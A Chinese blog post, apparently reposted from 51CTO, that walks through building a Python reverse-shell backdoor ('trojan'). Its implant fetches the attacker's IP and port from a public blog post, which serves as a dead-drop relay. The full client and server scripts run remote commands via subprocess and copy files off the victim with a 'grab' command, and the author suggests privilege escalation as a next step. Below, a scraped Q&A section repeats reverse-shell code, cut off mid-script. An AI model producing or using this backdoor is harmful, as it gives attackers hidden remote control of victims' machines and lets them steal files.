Python 反弹shell后门用51CTO Blog绑定

前言:仅做交流,仅做交流。

  除了51CTO当然也可以用其他的媒介啦,比如微博,微信等。这里就用51CTO吧

思路:存在这样的一个情况,我们在某台机器上放置一个木马~~~里面我们会写入自己服务端的IP,但是可能我们的IP会变,我们当然可以用域名解决这个问题,不过那样显得不是很优雅,而且域名要钱的啦~~~所以我们需要一个中间件!


  在说说什么是反弹Shell,反弹shell的好处在于被攻击的主机可能限制了进口,即只允许某个端口的链接,其他链接都屏蔽,这个时候我们就需要被攻击的主机主动来连我们的服务器,我们的服务器只要监听某个端口,等着被攻击的主机来连即可。

实现原理:

  目标主机访问51CTO网站,获取需要连接的服务器IP及端口。

  wKiom1awQXPyZvSoAAA33ruNj2U510.png


怎么实现呢?

注:因为是教育目的性质,所以这里不会涉及什么更高级的功能,更高级的我也不会,这里就只是说明简单的TCP CLient,TCP Server端


首先创建一个简单的TCP服务端,用来监听连接过来的TCP CLient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding:utf-8
import  socket
def  connect():
     ###初始socket对象
     =  socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     ###绑定IP跟端口
     s.bind(( "IP" ,PORT))
     ###允许一个连接,自行设定
     s.listen( 1 )
     
     ###调用accept方法,开始监听
     conn,addr  =  s.accept()
     ###输出client的连接信息,返回结果是一个ip加端口的元组
     print  "---> we got a connection from: " ,addr
     ###循化用于接收发送的命令
     while  True :
         command  =  raw_input ( "shell>" )
         ###如果命令中用exit关键词则关闭连接
         if  "exit"  in  command:
             conn.send( "exit" )
             conn.close()
             break
         else :
             conn.send(command)
             print  conn.recv( 1024 )
def  main():
     connect()
if  __name__  = =  '__main__' :
     main()

然后我们创建TCP客户端,用来连接TCP 服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import  socket
import  subprocess
import  os
host  =  "服务端IP"
port  =  服务端PORT
def  connect(host,port):
     =  socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     s.connect((host,port))
     while  True :
         command  =  s.recv( 1024 )
         if  "exit"  in  command:
             s.close()
             break
         else :
             ###将服务端发送过来的命令通过subprocess执行
             CMD  =  subprocess.Popen(command,shell = True ,stdout = subprocess.PIPE,stderr = subprocess.PIPE,stdin = subprocess.PIPE)
             ###返回标注输出,错误等
             s.send(CMD.stdout.read())
             s.send(CMD.stderr.read())
def  main():
     connect(host,port)
if  __name__  = =  '__main__' :
     main()

因为没有判断连接不上服务端的情况,所以我们得先运行服务端,然后运行客户端,运行结果如下

wKioL1awQgPAuW6lAABB4NOE1J4807.png

至此,第一步完成了。

现在我们需要将服务端的IP及端口放到51CTO Blog上。

wKioL1awQiLz-AGuAAC8k3emKDw693.png

现在创建一篇如上图所示的博文。

然后用requests,beautifulSoup这两个库来获取我们想要的信息

import requests

import json

from bs4 import BeautifulSoup

url = "http://youerning.blog.51cto.com/"

在获取之前简单踩个点。

wKioL1awQmnQw3yfAAB_1Os4TxE572.png

    通过Chrom的调试模式,我们找到这段内容所对应的内容,比如div,class之类的,如上图所示我们找到的class="artContent mt10",这就是我们想要的信息,当然了,怎么用beautifulSoup筛选出我们需要的信息有很多种方法,这就就不一样说明了。

def getHost(url):

    ret = requests.get(url).content

    soup = BeautifulSoup(ret,"html.parser")

    for i in soup.find_all("div",class_="artContent mt10"):

        if i.string.startswith(" {"):

            ret = str(i.string)

    ret = json.loads(ret)

    return ret["host"],ret["port"]

print getHost(url)

运行结果如下

wKiom1awQjDz-nn0AAANVm3uR7w677.png

至此,第二部也完成了,完整代码如下

客户端py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import  socket
import  subprocess
import  os
import  requests
import  json
from  bs4  import  BeautifulSoup
url  =  "http://youerning.blog.51cto.com/"
def  transfer(s,path):
     if  os.path.exists(path):
         =  open (path, "rb" )
         packet  =  f.read( 1024 )
         while  packet ! =  "":
             s.send(packet)
             packet  =  f.read( 1024 )
         s.send( "Done" )
         f.close()
def  getHost(url):
     ret  =  requests.get(url).content
     soup  =  BeautifulSoup(ret, "html.parser" )
     for  in  soup.find_all( "div" , class_ = "artContent mt10" ):
         if  i.string.startswith( " {" ):
             ret  =  str (i.string)
     ret  =  json.loads(ret)
     return  ret[ "host" ],ret[ "port" ]
def  connect(host,port):
     =  socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     s.connect((host,port))
     while  True :
         command  =  s.recv( 1024 )
         if  "exit"  in  command:
             s.close()
             break
         elif  "grab"  in  command:
             grab,path  =  command.split( "*" )
             try :
                 transfer(s,path)
             except  Exception,e:
                 s.send( str (e))
                 pass
         else :
             CMD  =  subprocess.Popen(command,shell = True ,stdout = subprocess.PIPE,stderr = subprocess.PIPE,stdin = subprocess.PIPE)
             s.send(CMD.stdout.read())
             s.send(CMD.stderr.read())
def  main():
     host,port  =   getHost(url)
     connect(host,port)
main()

服务端py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#coding:utf-8
import  socket
IP  =  "你的IP"
PORT  =  绑定的端口
def  transfer(conn,command):
     conn.send(command)
     =  open ( "text.text" , "wb" )
     while  True :
         bits  =  conn.recv( 1024 )
         if  "Unable to find out the file"  in  bits:
             print  "---- Unbale to"
             break
         if  bits.endswith( "Done" ):
             print  "Done"
             f.close()
             break
         f.write(bits)
     f.close()
def  connect():
     =  socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     s.bind(( "IP" ,PORT))
     s.listen( 1 )
     conn,addr  =  s.accept()
     print  "---> we got a connection from: " ,addr
     while  True :
         command  =  raw_input ( "shell>" )
         if  "exit"  in  command:
             conn.send( "exit" )
             conn.close()
             break
         elif  "grab"  in  command:
             transfer(conn,command)
         else :
             conn.send(command)
             print  conn.recv( 1024 )
def  main():
     connect()
main()


后记:其实最后这两个完整的Python脚本,加了一个transfer函数,用于传输文件,算是一个彩蛋吧,虽然我不知道彩蛋是什么意思,不过还有很多功能可以加,比如查找文件,提权什么的。

    



本文转自 youerning 51CTO博客,原文链接:http://blog.51cto.com/youerning/1740646

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 你是想问 Python 如何实现反弹 shell 吗? 反弹 shell 是一种通过远程连接获取受害者计算机的 shell 权限的攻击技术。 使用 Python 反弹 shell 的方法如下: 1. 首先,在本地计算机上运行一个监听程序,等待连接。 2. 然后,在受害者计算机上运行一个 Python 脚本,该脚本将连接到本地计算机的监听程序。 3. 当连接建立后,就可以通过本地计算机上的 shell 命令控制受害者计算机。 具体的代码实现可以参考如下: 本地计算机上的监听程序: ``` import socket # 监听的地址和端口 HOST = '0.0.0.0' PORT = 12345 # 创建一个 socket 对象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 地址和端口 s.bind((HOST, PORT)) # 监听 s.listen() # 接受连接 conn, addr = s.accept() # 打印连接的地址 print('Connected by', addr) # 持续监听 while True: # 接收数据 data = conn.recv(1024) if not data: break # 执行命令 cmd_result = os.popen(data.decode()).read() # 发送结果 conn.sendall(cmd_result.encode()) # 关闭连接 conn.close() ``` 受害者计算机上的脚本: ``` import socket # 连接的地址和端口 HOST = '192.168. ### 回答2: Python反弹shell是指通过Python代码在目标计算机上建立一个与攻击者主机之间的连接,使得攻击者可以远程控制目标计算机并执行命令。 Python反弹shell通常涉及以下步骤: 1. 攻击者需要在自己的计算机上搭建一个监听程序,等待目标计算机的连接。 2. 在目标计算机上,攻击者可以使用一些方法来执行一个恶意的Python程序,例如通过社会工程学手段获取目标计算机的用户信任,或者利用已存在的安全漏洞等。 3. 一旦目标计算机上的恶意Python程序被执行,它会尝试连接到攻击者的计算机并建立反向连接。这种反向连接允许攻击者远程控制目标计算机。 4. 一旦连接建立,攻击者可以使用一些特的命令和技巧来远程执行命令、访问目标计算机的文件系统以及进行其他恶意活动。 总结起来,Python反弹shell是一种攻击技术,攻击者通过在目标计算机上执行恶意的Python程序,与自己的计算机建立反向连接,从而实现远程控制目标计算机和执行命令的目的。然而,需要注意的是,这种行为是非法的,并且违反了网络安全规范和法律法规。所以我们应该保持良好的网络安全意识,同时保护自己的计算机免受此类攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值